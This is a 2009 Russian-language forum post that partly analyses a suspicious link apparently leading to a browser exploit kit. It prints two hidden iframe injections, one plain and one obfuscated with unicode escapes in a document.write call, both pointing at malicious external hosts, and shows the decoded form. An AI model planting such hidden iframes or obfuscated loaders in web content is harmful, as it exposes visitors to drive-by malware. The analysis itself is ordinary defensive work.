20.04.2009, 07:01
|
|
Участник форума
Регистрация: 13.08.2008
Сообщений: 146
Провел на форуме:
1445936
Репутация:
159
|
|
У каво дедик или виртуалка то попробуйте открыть может чел не знал (т.е. вместе с трояном там какойто ролик) чтобы я знал что он не специально отправил мну трой.
Смысла в виртуалке/дедике нет, т.к связка использует уязвимости браузера и если граббить контент со страницы, не выводя содержимое страницы в браузер, то ничего страшного не случится.
по ссылке стоит ифрейм.
<iframe src="http://linenetz.com/stats/ru1.php" style="display:none"></iframe>
далее:
<script type="text/javascript">document.write('\u003c\u0069\u0066\u00 72\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d \u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u 006d\u0079\u0066\u0075\u0063\u006b\u0069\u006e\u00 67\u002d\u0070\u0075\u0073\u0073\u0079\u002e\u0063 \u006f\u006d\u002f\u0074\u0079\u0072\u0065\u006b\u 002f\u003f\u0074\u003d\u0038\u0022\u0020\u0073\u00 74\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073 \u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u 0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u00 61\u006d\u0065\u003e')</script>
расшифровываем
<iframe src="http://myfucking-pussy.com/tyrek/?t=8" style="display:none"></iframe>
далее страничка под gzip'ом. Ну а потом мне лень стало. Сами ковыряйте.
Последний раз редактировалось ViP-K1LLeR; 20.04.2009 в 07:09..
|
|
|